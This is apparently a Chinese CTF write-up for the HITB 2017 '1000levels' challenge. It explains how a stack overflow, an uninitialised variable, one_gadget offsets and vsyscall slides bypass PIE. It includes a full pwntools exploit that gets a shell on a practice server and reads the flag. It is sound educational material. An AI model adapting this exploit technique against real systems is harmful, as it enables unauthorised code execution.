hitb2017_1000levels(利用vsyscall滑动Bypass PIE)

查看防护措施

1

没开canary,开了PIE,应该能利用到栈溢出漏洞

本地调试

2

hint里面看着没什么东西,go里面两次输入然后回答问题

IDA静态分析

3

show_hint == 0 是放在bss段的,且开了PIE地址随机化,这里目前来看是没有什么办法去修改其为1,不过

不论show_hint为几,system的地址都会被写到rbp-0x110的位置

5

我们看一下go的逻辑

6

v4没有初始化,如果我们第一次输入的数大于0,才会使v4 = num,而且v4也是rbp-110h处的数据,由于这个函数和hint函数都是在主函数里依次调用的,它们的rbp是同一个,只是在不同时刻使用而已。那么,如果我们先执行一次hint,再进入这个函数,那么v4就会存储着system的地址

进入存在栈溢出漏洞的level函数看一下

7

rbp压栈,rsp抬高0x40此时的栈空间是这样的:

8

如果我们能把ret,rbp-0x120,rbp-0x118滑掉,那么不就执行system了吗?然而,system函数需要一个参数,并且x64使用寄存器传参,由于开了PIE我们泄露不了基地址也无法使用pop_rdi等gadgets,那么我们就不能用system了,可以考虑用one_gadget

大致思路

现在捋一捋思路

1.我们需要把rbp-0x110的位置内容改为one_gadget地址

2.我们需要滑动到rbp-0x110的位置

静态one_gadget我们直接用工具可以得到,这里可以选用0x45216,但是libc基地址如何得到?

我们再看一下go中的逻辑:

v5 = v4 + 我们的输入,且v4中保存的是system地址,那如果我们输入的是one_gadget - libc.sym[‘system’]是不是相当于 system_addr - libc.sym[‘system’] + one_gadget?这不就是one_gadget + libc_base么

那么现在想一下如何解决2,

有一处地址不管是否开启PIE都不会变:vsyscall

vsyscall

vsyscall是第一种也是最古老的一种用于加快系统调用的机制,工作原理十分简单,许多硬件上的操作都会被包装成内核函数,然后提供一个接口,供用户层代码调用,这个接口就是我们常用的int 0x80和syscall+调用号。

当通过这个接口来调用时,由于需要进入到内核去处理,因此为了保证数据的完整性,需要在进入内核之前把寄存器的状态保存好,然后进入到内核状态运行内核函数,当内核函数执行完的时候会将返回结果放到相应的寄存器和内存中,然后再对寄存器进行恢复,转换到用户层模式。

这一过程需要消耗一定的性能,对于某些经常被调用的系统函数来说,肯定会造成很大的内存浪费,因此,系统把几个常用的内核调用从内核中映射到用户层空间中,从而引入了vsyscall

9

在gdb 中使用命令 : dump binary memory file start_addr end_addr 将这段地址dump下来拖进IDA

10

三次系统调用分别是__NR_gettimeofday、__NRtime、_NR_getcpu

1
2
3
#define __NR_gettimeofday 96
#define __NR_time 201
#define __NR_getcpu 309

我们要利用的就是最后的那个retn,因为它会从栈顶弹出一个元素,就相当于esp下移了一个单位。

三次的vsyscall,相当于从这片区域滑到了Go函数的rbp-110处,这样,接下来就会执行one_gadget了

当我们直接调用vsyscall中的syscall时,会提示段错误,这是因为vsyscall执行时会进行检查,如果不是从函数开头执行的话就会出错

所以,我们可以直接利用的地址是0xffffffffff600000、0xffffffffff600400、 0xffffffffff600800

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#io = process("./1000levels")
io = remote('node4.buuoj.cn',26833)
libc = ELF("./libc-2.23-64.so")

def hint():
io.sendlineafter(":\n", "2")

def go(levels, more):
io.sendlineafter(":\n", "1")
io.sendlineafter("?\n", str(levels))
io.sendlineafter("?\n", str(more))

def answer():
io.recvuntil(": ")
ques = io.recvuntil(" =", drop = True)
ans = eval(ques)
return str(ans)

one = 0x4526a
hint()


go(0,one - libc.sym['system'])

#for i in range(999):
# success(i + 1)
# io.sendlineafter(":", answer())
[io.sendlineafter(b":", answer()) for i in range(999)]
vsyscall = 0xffffffffff600000

payload = cyclic(0x38) + p64(vsyscall) * 3
io.sendafter(":", payload)

io.sendline(b"ls")
io.sendline(b"cat flag")

io.interactive()

11

不过这里打远程的时候起初连的公司的WIFI,每次跑到700多就G了,最后连的自己的热点才成功getshell,但是getshell之后大概也就过了1秒就断开连接了,无奈又添加了两行自动ls,cat flag才成功